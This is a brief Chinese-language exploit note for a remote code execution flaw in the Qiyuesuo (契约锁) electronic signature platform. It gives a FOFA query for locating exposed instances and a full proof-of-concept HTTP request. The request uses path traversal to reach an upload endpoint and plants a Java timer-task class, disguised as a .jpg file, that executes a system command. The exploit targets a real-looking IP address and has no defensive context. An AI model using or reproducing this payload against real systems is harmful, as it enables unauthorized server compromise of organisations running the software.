2023-08-19 21:09:43 +08:00
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## 契约锁电子签章系统RCE
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2024-06-18 15:35:32 +08:00
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## fofa
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```
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app="契约锁-电子签署平台"
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```
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## poc
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2023-08-19 21:09:43 +08:00
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```
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POST /callback/%2E%2E;/code/upload HTTP/1.1
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Host: 103.242.174.137:9180
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Origin: https://103.242.174.137:9180
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Referer: https://103.242.174.137:9180
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryco2lQ5vxCOn9Aq2R
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Connection: close
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------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
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Content-Disposition: form-data; name="type";
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TIMETASK
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------WebKitFormBoundaryco2lQ5vxCOn9Aq2R
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Content-Disposition: form-data; name="file";filename="qys.jpg"
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package qiyuesuo;
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import com.qiyuesuo.utask.java.BaseTimerTask;
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public class qiyuesuo004 extends BaseTimerTask {
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static {try{Runtime.getRuntime().exec("whoami");}catch (Exception e){}}
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}
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------WebKitFormBoundaryco2lQ5vxCOn9Aq2R--
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```
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